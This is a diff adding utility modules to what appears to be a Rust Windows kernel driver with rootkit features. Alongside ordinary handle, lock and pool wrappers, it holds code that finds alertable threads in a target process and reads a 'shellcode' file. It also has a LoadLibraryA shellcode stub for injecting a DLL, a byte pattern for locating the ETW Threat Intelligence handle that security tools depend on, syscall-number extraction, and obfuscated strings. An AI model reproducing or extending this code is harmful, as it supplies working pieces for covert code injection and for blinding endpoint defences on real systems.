let name = CStr::from_ptr((dll_base as usize + names[i] as usize) as *const i8)
.to_str()
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
let ordinal = ordinals[i] as usize;
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
if name == function_name {
return Ok(address);
}
}
Err(ShadowError::FunctionNotFound(function_name.to_string()))
}

View File

@@ -0,0 +1,57 @@
use wdk_sys::{
ntddk::{KeStackAttachProcess, KeUnstackDetachProcess},
KAPC_STATE, PRKPROCESS,
};
/// A wrapper for managing the attachment to a process context in the Windows kernel.
pub struct ProcessAttach {
/// The APC (Asynchronous Procedure Call) state used to manage process attachment.
apc_state: KAPC_STATE,
/// Indicates whether the process is currently attached.
attached: bool,
}
impl ProcessAttach {
/// Create a new `ProcessAttach`.
///
/// # Arguments
///
/// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to.
#[inline]
pub fn new(target_process: PRKPROCESS) -> Self {
let mut apc_state = unsafe { core::mem::zeroed::<KAPC_STATE>() };
unsafe {
KeStackAttachProcess(target_process, &mut apc_state);
}
Self {
apc_state,
attached: true,
}
}
/// Manually detaches from the process context.
#[inline]
pub fn detach(&mut self) {
if self.attached {
unsafe {
KeUnstackDetachProcess(&mut self.apc_state);
}
self.attached = false;
}
}
}
impl Drop for ProcessAttach {
fn drop(&mut self) {
// If it is still attached, it unattaches when it leaves the scope.
if self.attached {
unsafe {
KeUnstackDetachProcess(&mut self.apc_state);
}
}
}
}

View File

@@ -0,0 +1,111 @@
use alloc::vec::Vec;
use core::{ffi::c_void, ptr::null_mut};
use wdk_sys::*;
use wdk_sys::{
ntddk::{ZwCreateFile, ZwQueryInformationFile, ZwReadFile},
_FILE_INFORMATION_CLASS::FileStandardInformation,
};
use super::{handle::Handle, InitializeObjectAttributes};
use crate::error::{ShadowError, ShadowResult};
/// Reads the content of a file given its path in the NT kernel environment.
///
/// # Arguments
///
/// * `path` - A string slice representing the path to the file.
///
/// # Returns
///
/// A vector containing the file's content as bytes if the file is successfully opened and read.
pub fn read_file(path: &str) -> ShadowResult<Vec<u8>> {
// Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file")
let path_nt = alloc::format!("\\??\\{}", path);
// Converts the NT path to a Unicode string
let file_name = crate::utils::uni::str_to_unicode(&path_nt);
// Initializes the object attributes for opening the file, including setting
// it as case insensitive and kernel-handled
let mut io_status_block = unsafe { core::mem::zeroed::<_IO_STATUS_BLOCK>() };
let mut obj_attr = InitializeObjectAttributes(
Some(&mut file_name.to_unicode()),
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
None,
None,
None,
);
// Opens the file using ZwCreateFile with read permissions
let mut h_file: HANDLE = null_mut();
let mut status = unsafe {
ZwCreateFile(
&mut h_file,
GENERIC_READ,
&mut obj_attr,
&mut io_status_block,
null_mut(),
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OPEN,
FILE_SYNCHRONOUS_IO_NONALERT,
null_mut(),
0,
)
};
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwCreateFile", status));
}
// Wrap the file handle in a safe Handle type
let h_file = Handle::new(h_file);
// Placeholder for storing file information (e.g., size)
let mut file_info = unsafe { core::mem::zeroed::<FILE_STANDARD_INFORMATION>() };
// Queries file information, such as its size, using ZwQueryInformationFile
status = unsafe {
ZwQueryInformationFile(
h_file.get(),
&mut io_status_block,
&mut file_info as *mut _ as *mut c_void,
size_of::<FILE_STANDARD_INFORMATION>() as u32,
FileStandardInformation,
)
};
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwQueryInformationFile", status));
}
// Retrieves the file size from the queried file information
let file_size = unsafe { file_info.EndOfFile.QuadPart as usize };
// Initializes the byte offset to 0 for reading from the beginning of the file
let mut byte_offset = unsafe { core::mem::zeroed::<LARGE_INTEGER>() };
// Reads the file content into the buffer using ZwReadFile
let mut shellcode = alloc::vec![0u8; file_size];
status = unsafe {
ZwReadFile(
h_file.get(),
null_mut(),
None,
null_mut(),
&mut io_status_block,
shellcode.as_mut_ptr().cast(),
file_size as u32,
&mut byte_offset,
null_mut(),
)
};
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwReadFile", status));
}
// Returns the file content as a vector of bytes if everything succeeds
Ok(shellcode)
}

View File

@@ -0,0 +1,32 @@
use wdk_sys::{ntddk::ZwClose, HANDLE};
/// A wrapper around a Windows `HANDLE` that automatically closes the handle when dropped.
pub struct Handle(HANDLE);
impl Handle {
/// Creates a new `Handle`.
///
/// # Arguments
///
/// * `handle` - A raw Windows `HANDLE` to wrap.
#[inline]
pub fn new(handle: HANDLE) -> Self {
Handle(handle)
}
/// Returns the raw `HANDLE`.
#[inline]
pub fn get(&self) -> HANDLE {
self.0
}
}
impl Drop for Handle {
fn drop(&mut self) {
if !self.0.is_null() {
unsafe {
ZwClose(self.0);
}
}
}
}

View File

@@ -0,0 +1,89 @@
use wdk_sys::ntddk::{
ExAcquirePushLockExclusiveEx, ExAcquireResourceSharedLite, ExReleasePushLockExclusiveEx,
};
use wdk_sys::ntddk::{ExAcquireResourceExclusiveLite, ExReleaseResourceLite};
use wdk_sys::ERESOURCE;
/// Generic function that performs the operation with the lock already acquired.
/// It will acquire the lock exclusively and guarantee its release after use.
///
/// # Arguments
///
/// * `push_lock` - Pointer to the lock to be acquired.
/// * `operation` - The operation to be performed while the lock is active.
pub fn with_push_lock_exclusive<T, F>(push_lock: *mut u64, operation: F) -> T
where
F: FnOnce() -> T,
{
unsafe {
// Get the lock exclusively
ExAcquirePushLockExclusiveEx(push_lock, 0);
}
// Performs the operation while the lock is active
let result = operation();
unsafe {
// Releases the lock after the operation
ExReleasePushLockExclusiveEx(push_lock, 0);
}
result
}
/// Executes an operation while holding an `ERESOURCE` lock.
///
/// # Arguments
///
/// * `resource` - Pointer to the `ERESOURCE` lock.
/// * `operation` - The function to execute while holding the lock.
pub fn with_eresource_exclusive_lock<T, F>(resource: *mut ERESOURCE, operation: F) -> T
where
F: FnOnce() -> T,
{
unsafe {
// Acquire the exclusive lock before accessing the resource
ExAcquireResourceExclusiveLite(resource, 1);
}
// Execute the operation while holding the lock
let result = operation();
unsafe {
// Release the lock after the operation
ExReleaseResourceLite(resource);
}
result
}
/// Executes an operation while holding a **shared** ERESOURCE lock.
/// This allows multiple threads to read concurrently, but no writes can occur.
///
/// # Arguments
///
/// * `resource` - Pointer to the `ERESOURCE` lock.
/// * `operation` - The function to execute while holding the lock.
///
/// # Returns
///
/// The result of the operation executed within the lock.
pub fn with_eresource_shared_lock<T, F>(resource: *mut ERESOURCE, operation: F) -> T
where
F: FnOnce() -> T,
{
unsafe {
// Acquire the shared lock before accessing the resource
ExAcquireResourceSharedLite(resource, 1);
}
// Execute the operation while holding the lock
let result = operation();
unsafe {
// Release the shared lock
ExReleaseResourceLite(resource);
}
result
}

View File

@@ -0,0 +1,99 @@
use core::ptr::null_mut;
use wdk_sys::ntddk::{
IoAllocateMdl, IoFreeMdl, MmMapLockedPagesSpecifyCache, MmProbeAndLockPages, MmUnlockPages,
MmUnmapLockedPages,
};
use wdk_sys::{
MdlMappingNoExecute, MDL, PUCHAR, _LOCK_OPERATION::IoModifyAccess,
_MEMORY_CACHING_TYPE::MmCached, _MM_PAGE_PRIORITY::HighPagePriority, _MODE::KernelMode,
};
/// Memory Descriptor List (MDL) wrapper for safe kernel memory modification.
pub struct Mdl {
/// Pointer to the MDL structure.
mdl: *mut MDL,
/// Mapped kernel address of the locked memory.
mapped_address: PUCHAR,
}
impl Mdl {
/// Creates a new `Mdl`.
///
/// # Arguments
///
/// * `dest` - Target memory address to be modified.
/// * `size` - Size of the memory region to lock.
pub fn new(dest: *const u8, size: usize) -> Option<Self> {
if dest.is_null() || size == 0 {
wdk::println!("Invalid Parameters");
return None;
}
unsafe {
// Allocate an MDL
let mdl = IoAllocateMdl(dest as _, size as u32, 0, 0, null_mut());
if mdl.is_null() {
return None;
}
// Lock the pages for modification
MmProbeAndLockPages(mdl, KernelMode as i8, IoModifyAccess);
// Map the locked pages for kernel access
let mapped_address = MmMapLockedPagesSpecifyCache(
mdl,
KernelMode as i8,
MmCached,
null_mut(),
0,
HighPagePriority as u32 | MdlMappingNoExecute,
) as *mut u8;
if mapped_address.is_null() {
wdk::println!("Failed to map blocked pages");
MmUnlockPages(mdl);
IoFreeMdl(mdl);
return None;
}
Some(Self {
mdl,
mapped_address,
})
}
}
/// Copies memory to the mapped address.
///
/// # Arguments
///
/// * `src` - Pointer to the source data.
/// * `size` - Size of the data to copy.
pub fn copy(&self, src: *const u8, size: usize) {
if src.is_null() || self.mapped_address.is_null() {
wdk::println!("Invalid address in the memory copy.");
return;
}
unsafe {
core::ptr::copy_nonoverlapping(src, self.mapped_address, size);
}
}
}
impl Drop for Mdl {
/// Cleans up the MDL and releases memory when dropped.
fn drop(&mut self) {
unsafe {
if !self.mapped_address.is_null() {
MmUnmapLockedPages(self.mapped_address as _, self.mdl);
}
if !self.mdl.is_null() {
MmUnlockPages(self.mdl);
IoFreeMdl(self.mdl);
}
}
}
}

View File

@@ -0,0 +1,422 @@
use alloc::string::{String, ToString};
use core::{
ffi::{c_void, CStr},
ptr::null_mut,
slice::from_raw_parts,
};
use ntapi::ntexapi::{SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION};
use wdk_sys::*;
use wdk_sys::{
ntddk::{MmGetSystemRoutineAddress, PsIsThreadTerminating},
_KWAIT_REASON::{DelayExecution, UserRequest, WrAlertByThreadId},
};
use crate::data::{
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS, KTHREAD_STATE::Waiting,
LDR_DATA_TABLE_ENTRY, PEB,
};
use crate::*;
use crate::{
attach::ProcessAttach,
error::{ShadowError, ShadowResult},
pool::PoolMemory,
ZwQuerySystemInformation,
};
pub mod address;
pub mod attach;
pub mod file;
pub mod handle;
pub mod lock;
pub mod mdl;
pub mod patterns;
pub mod pool;
pub mod uni;
/// Find a thread with an alertable status for the given process (PID).
///
/// # Arguments
///
/// * `target_pid` - The process identifier (PID) for which to find an alertable thread.
///
/// # Returns
///
/// A pointer to the `KTHREAD` of the found alertable thread.
pub unsafe fn find_thread_alertable(target_pid: usize) -> ShadowResult<*mut _KTHREAD> {
// Initial call to get the necessary buffer size for system process information
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
// Allocate memory to store process information
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, "oied")
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
// Query system information to get process and thread data
let status = ZwQuerySystemInformation(
SystemProcessInformation,
info_process as *mut c_void,
return_bytes,
&mut return_bytes,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwQuerySystemInformation",
status,
));
}
// Iterate over process information to find the target PID and alertable thread
let mut process_info = info_process;
while (*process_info).NextEntryOffset != 0 {
let pid = (*process_info).UniqueProcessId as usize;
if pid == target_pid {
let threads_slice = from_raw_parts(
(*process_info).Threads.as_ptr(),
(*process_info).NumberOfThreads as usize,
);
for &thread in threads_slice {
if thread.ThreadState == Waiting as u32
&& thread.WaitReason == WrAlertByThreadId as u32
|| thread.WaitReason == UserRequest as u32
|| thread.WaitReason == DelayExecution as u32
{
let target_thread =
if let Ok(thread) = Thread::new(thread.ClientId.UniqueThread as usize) {
thread
} else {
continue;
};
if PsIsThreadTerminating(target_thread.e_thread) == 1 {
continue;
}
return Ok(target_thread.e_thread);
}
}
}
if (*process_info).NextEntryOffset == 0 {
break;
}
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize)
as PSYSTEM_PROCESS_INFORMATION;
}
Err(ShadowError::FunctionExecutionFailed(
"find_thread_alertable",
line!(),
))
}
///
///
///
pub unsafe fn find_thread(target_pid: usize) -> ShadowResult<*mut _KTHREAD> {
// Initial call to get the necessary buffer size for system process information
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
// Allocate memory to store process information
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, "oied")
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
// Query system information to get process and thread data
let status = ZwQuerySystemInformation(
SystemProcessInformation,
info_process as *mut c_void,
return_bytes,
&mut return_bytes,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwQuerySystemInformation",
status,
));
}
// Iterate over process information to find the target PID and alertable thread
let mut process_info = info_process;
while (*process_info).NextEntryOffset != 0 {
let pid = (*process_info).UniqueProcessId as usize;
if pid == target_pid {
let threads_slice = from_raw_parts(
(*process_info).Threads.as_ptr(),
(*process_info).NumberOfThreads as usize,
);
for &thread in threads_slice {
let thread_id = thread.ClientId.UniqueThread as usize;
let target_thread = if let Ok(thread) = Thread::new(thread_id) {
thread
} else {
continue;
};
if PsIsThreadTerminating(target_thread.e_thread) == 1 {
continue;
}
return Ok(target_thread.e_thread);
}
}
if (*process_info).NextEntryOffset == 0 {
break;
}
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize)
as PSYSTEM_PROCESS_INFORMATION;
}
Err(ShadowError::FunctionExecutionFailed(
"find_thread_alertable",
line!(),
))
}
/// Retrieves the address of a function within a specific module loaded in a process's PEB.
///
/// # Arguments
///
/// * `pid` - The process identifier (PID) of the target process.
/// * `module_name` - The name of the module (e.g., DLL) to search for.
/// * `function_name` - The name of the function to locate within the module.
///
/// # Returns
///
/// A pointer to the function's address if found.
pub unsafe fn get_function_peb(
pid: usize,
module_name: &str,
function_name: &str,
) -> ShadowResult<*mut c_void> {
// Recovering `PEPROCESS`
let process = Process::new(pid)?;
let mut attach_process = ProcessAttach::new(process.e_process);
// Access its `PEB`
let peb = PsGetProcessPeb(process.e_process) as *mut PEB;
if peb.is_null() || (*peb).Ldr.is_null() {
return Err(ShadowError::FunctionExecutionFailed(
"PsGetProcessPeb",
line!(),
));
}
// Traverse the InLoadOrderModuleList to find the module
let current = &mut (*(*peb).Ldr).InLoadOrderModuleList;
let mut next = (*(*peb).Ldr).InLoadOrderModuleList.Flink;
while next != current {
if next.is_null() {
return Err(ShadowError::NullPointer("next LIST_ENTRY"));
}
let ldr_data = next as *mut LDR_DATA_TABLE_ENTRY;
if ldr_data.is_null() {
return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY"));
}
let buffer = from_raw_parts(
(*ldr_data).FullDllName.Buffer,
((*ldr_data).FullDllName.Length / 2) as usize,
);
if buffer.is_empty() {
return Err(ShadowError::StringConversionFailed(
(*ldr_data).FullDllName.Buffer as usize,
));
}
// Check if the module name matches
let dll_name = alloc::string::String::from_utf16_lossy(buffer);
if dll_name.to_lowercase().contains(module_name) {
let dll_base = (*ldr_data).DllBase as usize;
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
// Retrieves the size of the export table
let export_directory = (dll_base as usize
+ (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize)
as *const IMAGE_EXPORT_DIRECTORY;
// Retrieving information from module names
let names = from_raw_parts(
(dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32,
(*export_directory).NumberOfNames as usize,
);
// Retrieving information from functions
let functions = from_raw_parts(
(dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32,
(*export_directory).NumberOfFunctions as usize,
);
// Retrieving information from ordinals
let ordinals = from_raw_parts(
(dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize)
as *const u16,
(*export_directory).NumberOfNames as usize,
);
// Search for the function by name in the export table
for i in 0..(*export_directory).NumberOfNames as usize {
let ordinal = ordinals[i] as usize;
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
let name = CStr::from_ptr((dll_base + names[i] as usize) as *const i8)
.to_str()
.map_err(|_| ShadowError::StringConversionFailed(names[i] as usize))?;
if name == function_name {
return Ok(address);
}
}
}
next = (*next).Flink;
}
// Detaches the target process
attach_process.detach();
Err(ShadowError::ModuleNotFound(module_name.to_string()))
}
/// Retrieves the PID of a process by its name.
///
/// # Arguments
///
/// * `process_name` - A string slice containing the name of the process.
///
/// # Returns
///
/// Ccontaining the PID of the process, or Err if the process is not found.
pub unsafe fn get_process_by_name(process_name: &str) -> ShadowResult<usize> {
let mut return_bytes = 0;
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, "diws")
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
.ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?;
let status = ZwQuerySystemInformation(
SystemProcessInformation,
info_process as *mut c_void,
return_bytes,
&mut return_bytes,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed(
"ZwQuerySystemInformation",
status,
));
}
let mut process_info = info_process;
loop {
if !(*process_info).ImageName.Buffer.is_null() {
let image_name = from_raw_parts(
(*process_info).ImageName.Buffer,
((*process_info).ImageName.Length / 2) as usize,
);
let name = String::from_utf16_lossy(image_name);
if name == process_name {
let pid = (*process_info).UniqueProcessId as usize;
return Ok(pid);
}
}
if (*process_info).NextEntryOffset == 0 {
break;
}
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize)
as PSYSTEM_PROCESS_INFORMATION;
}
Err(ShadowError::ProcessNotFound(process_name.to_string()))
}
/// Validates if the given address is within the kernel memory range.
///
/// # Arguments
///
/// * `addr` - A 64-bit unsigned integer representing the address to validate.
///
/// # Returns
///
/// If the address is within the kernel memory range.
pub fn valid_kernel_memory(addr: u64) -> bool {
unsafe { addr >= wdk_sys::MmSystemRangeStart as u64 }
}
/// Validates if the given address is within the user memory range.
///
/// # Arguments
///
/// * `addr` - A 64-bit unsigned integer representing the address to validate.
///
/// # Returns
///
/// If the address is within the user memory range.
pub fn valid_user_memory(addr: u64) -> bool {
unsafe { addr > 0 && addr <= wdk_sys::MmHighestUserAddress as u64 }
}
/// Responsible for returning information on the modules loaded.
///
/// # Returns
///
/// Content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules
/// there are in PsLoadedModuleList.
pub fn modules() -> ShadowResult<(*mut LDR_DATA_TABLE_ENTRY, i32)> {
let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList"));
let ldr_data = unsafe {
MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY
};
if ldr_data.is_null() {
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
}
let mut list_entry = unsafe { (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
let mut count = 0;
let start_entry = list_entry;
while !list_entry.is_null() && list_entry != ldr_data {
count += 1;
list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
}
Ok((start_entry, count))
}
/// Initializes the `OBJECT_ATTRIBUTES` structure.
///
/// # Returns
///
/// `OBJECT_ATTRIBUTES` structure initialized with the provided parameters.
pub fn InitializeObjectAttributes(
object_name: Option<*mut UNICODE_STRING>,
attributes: u32,
root_directory: Option<*mut c_void>,
security_descriptor: Option<*mut c_void>,
security_quality_of_service: Option<*mut c_void>,
) -> OBJECT_ATTRIBUTES {
OBJECT_ATTRIBUTES {
Length: size_of::<OBJECT_ATTRIBUTES>() as u32,
RootDirectory: root_directory.unwrap_or(null_mut()),
ObjectName: object_name.unwrap_or(null_mut()),
Attributes: attributes,
SecurityDescriptor: security_descriptor.unwrap_or(null_mut()),
SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut()),
}
}

View File

@@ -0,0 +1,265 @@
use core::{
ffi::{c_void, CStr},
ptr::{null_mut, read},
slice::from_raw_parts,
};
use obfstr::obfstr;
use wdk_sys::*;
use wdk_sys::{
ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection},
_SECTION_INHERIT::ViewUnmap,
};
use super::{address::get_module_base_address, InitializeObjectAttributes};
use crate::{
data::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS, IMAGE_SECTION_HEADER},
error::{ShadowError, ShadowResult},
utils::uni,
};
/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
pub const ETWTI_PATTERN: [u8; 5] = [
0x33, 0xD2, // 33d2 xor edx,edx
0x48, 0x8B,
0x0D, // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)]
];
/// The `ZW_PATTERN` represents a sequence of machine instructions used for
/// identifying system service routines within the Windows kernel.
pub static mut ZW_PATTERN: [u8; 30] = [
0x48, 0x8B, 0xC4, // mov rax, rsp
0xFA, // cli
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
0x50, // push rax
0x9C, // pushfq
0x6A, 0x10, // push 10h
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
0x50, // push rax
0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
0xE9, 0xCC, 0xCC, 0xCC, 0xCC, // jmp KiServiceInternal
];
pub static mut LDR_SHELLCODE: [u8; 31] = [
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, LoadLibraryA
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, &DllPath
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3, // ret
];
/// Scans memory for a specific pattern of bytes in a specific section.
///
/// # Arguments
///
/// * `function_address` - The base address from which the scan should start.
/// * `pattern` - A slice of bytes that represents the pattern you are searching for in memory.
/// * `offset` - Offset from the pattern position where the i32 value starts.
/// * `final_offset` - The final offset applied to the resulting address.
/// * `size` - The size of the memory to scan.
///
/// # Returns
///
/// The computed address after applying offsets and the found i32.
pub unsafe fn scan_for_pattern(
function_address: *mut c_void,
pattern: &[u8],
offset: usize,
final_offset: isize,
size: usize,
) -> ShadowResult<*mut u8> {
let function_bytes = from_raw_parts(function_address as *const u8, size);
if let Some(x) = function_bytes
.windows(pattern.len())
.position(|window| window == pattern)
{
let position = x + offset;
// Converting the slice starting at the position to i32 (little-endian)
let offset_bytes = &function_bytes[position..position + 4];
let offset = i32::from_le_bytes(
offset_bytes
.try_into()
.map_err(|_| ShadowError::PatternNotFound)?,
);
// Calculating the final address
let address = function_address.cast::<u8>().add(x);
let next_address = address.offset(final_offset);
// Returning the final address adjusted by the found offset
Ok(next_address.offset(offset as isize))
} else {
Err(ShadowError::PatternNotFound)
}
}
/// Retrieves the syscall index for a given function name.
///
/// # Arguments
///
/// * `function_name` - A string slice representing the name of the function for which to retrieve the syscall index.
///
/// # Returns
///
/// The syscall index if the function is found.
pub unsafe fn get_syscall_index(function_name: &str) -> ShadowResult<u16> {
let mut section_handle = null_mut();
let dll = uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
let mut obj_attr = InitializeObjectAttributes(
Some(&mut dll.to_unicode()),
OBJ_CASE_INSENSITIVE,
None,
None,
None,
);
let mut status = ZwOpenSection(
&mut section_handle,
SECTION_MAP_READ | SECTION_QUERY,
&mut obj_attr,
);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenSection", status));
}
// Map ntdll.dll to memory and retrieve the address
let mut large = core::mem::zeroed::<LARGE_INTEGER>();
let mut ntdll_addr = null_mut();
let mut view_size = 0;
status = ZwMapViewOfSection(
section_handle,
-1isize as HANDLE,
&mut ntdll_addr,
0,
0,
&mut large,
&mut view_size,
ViewUnmap,
0,
PAGE_READONLY,
);
if !NT_SUCCESS(status) {
ZwClose(section_handle);
return Err(ShadowError::ApiCallFailed("ZwMapViewOfSection", status));
}
// Locate export directory, names, and functions for syscall extraction
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
let nt_header =
(ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
let ntdll_addr = ntdll_addr as usize;
// Retrieves the size of the export table
let export_directory = (ntdll_addr
+ (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize)
as *const IMAGE_EXPORT_DIRECTORY;
// Retrieving information from module names
let names = from_raw_parts(
(ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32,
(*export_directory).NumberOfNames as usize,
);
// Retrieving information from functions
let functions = from_raw_parts(
(ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32,
(*export_directory).NumberOfFunctions as usize,
);
// Retrieving information from ordinals
let ordinals = from_raw_parts(
(ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,
(*export_directory).NumberOfNames as usize,
);
// Search for the function by name and extract the syscall number (SSN)
for i in 0..(*export_directory).NumberOfNames as isize {
let ordinal = ordinals[i as usize] as usize;
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8)
.to_str()
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
if name == function_name
&& read(address) == 0x4C
&& read(address.add(1)) == 0x8B
&& read(address.add(2)) == 0xD1
&& read(address.add(3)) == 0xB8
&& read(address.add(6)) == 0x00
&& read(address.add(7)) == 0x00
{
let high = read(address.add(5)) as u16;
let low = read(address.add(4)) as u16;
let ssn = (high << 8) | low;
ZwUnmapViewOfSection(-1isize as HANDLE, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return Ok(ssn);
}
}
// Cleanup
ZwUnmapViewOfSection(-1isize as HANDLE, ntdll_addr as *mut c_void);
ZwClose(section_handle);
Err(ShadowError::FunctionExecutionFailed(
"get_syscall_index",
line!(),
))
}
/// Finds the address of a specified Zw function by scanning the system kernel's `.text` section.
///
/// # Arguments
///
/// * `name` - The name of the Zw function to find.
///
/// # Returns
///
/// The address of the Zw function if found.
pub unsafe fn find_zw_function(name: &str) -> ShadowResult<usize> {
let ssn = get_syscall_index(name)?;
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
let ssn_bytes = ssn.to_le_bytes();
ZW_PATTERN[21] = ssn_bytes[0];
ZW_PATTERN[22] = ssn_bytes[1];
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
let nt_header =
(ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS;
let section_header =
(nt_header as usize + size_of::<IMAGE_NT_HEADERS>()) as *const IMAGE_SECTION_HEADER;
// Scan the `.text` section for the matching pattern
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == obfstr!(".text") {
let text_start =
ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
let text_end = text_start + (*section_header.add(i)).Misc.VirtualSize as usize;
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
// Search for the Zw function by matching the pattern
if let Some(offset) = data.windows(ZW_PATTERN.len()).position(|window| {
window
.iter()
.zip(&ZW_PATTERN[..])
.all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Ok(text_start + offset);
}
}
}
Err(ShadowError::FunctionExecutionFailed(
"find_zw_function",
line!(),
))
}

View File

@@ -0,0 +1,58 @@
use core::ffi::c_void;
use wdk_sys::{
ntddk::{ExAllocatePool2, ExFreePool},
POOL_FLAGS,
};
/// A wrapper around memory allocated from the pool in the Windows kernel.
pub struct PoolMemory {
/// A raw pointer to the allocated pool memory.
pub ptr: *mut c_void,
}
impl PoolMemory {
/// Create new a `PoolMemory`.
///
/// # Arguments
///
/// * `flag` - Flags controlling memory allocation behavior.
/// * `number_of_bytes` - Size of the memory block to allocate.
/// * `tag` - A **4-character string** identifying the memory allocation.
///
/// # Panics
///
/// This function **panics** if `tag` is not exactly 4 characters long.
///
/// # Examples
/// ```rust,ignore
/// let pool_mem = PoolMemory::new(POOL_FLAG_NON_PAGED, 1024, "tag1");
/// if let Some(mem) = pool_mem {
/// // Use allocated memory...
/// } else {
/// println!("Memory allocation failed");
/// }
/// ```
#[inline]
pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: &str) -> Option<PoolMemory> {
assert!(tag.len() == 4, "Pool tag must be exactly 4 characters long");
// Convert the string into a 4-byte integer (u32)
let tag_bytes = tag.as_bytes();
let tag = u32::from_ne_bytes([tag_bytes[0], tag_bytes[1], tag_bytes[2], tag_bytes[3]]);
let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) };
if ptr.is_null() {
None
} else {
Some(Self { ptr })
}
}
}
impl Drop for PoolMemory {
fn drop(&mut self) {
if !self.ptr.is_null() {
unsafe { ExFreePool(self.ptr) };
}
}
}

View File

@@ -0,0 +1,52 @@
use alloc::vec::Vec;
use wdk_sys::UNICODE_STRING;
/// A wrapper around a `Vec<u16>` representing a Unicode string.
#[derive(Default)]
pub struct OwnedUnicodeString {
/// The internal buffer holding the wide (UTF-16) string, including the null terminator.
buffer: Vec<u16>,
/// A marker to indicate that this struct cannot be moved once pinned.
/// This ensures that the memory address of the buffer remains valid for the lifetime of the
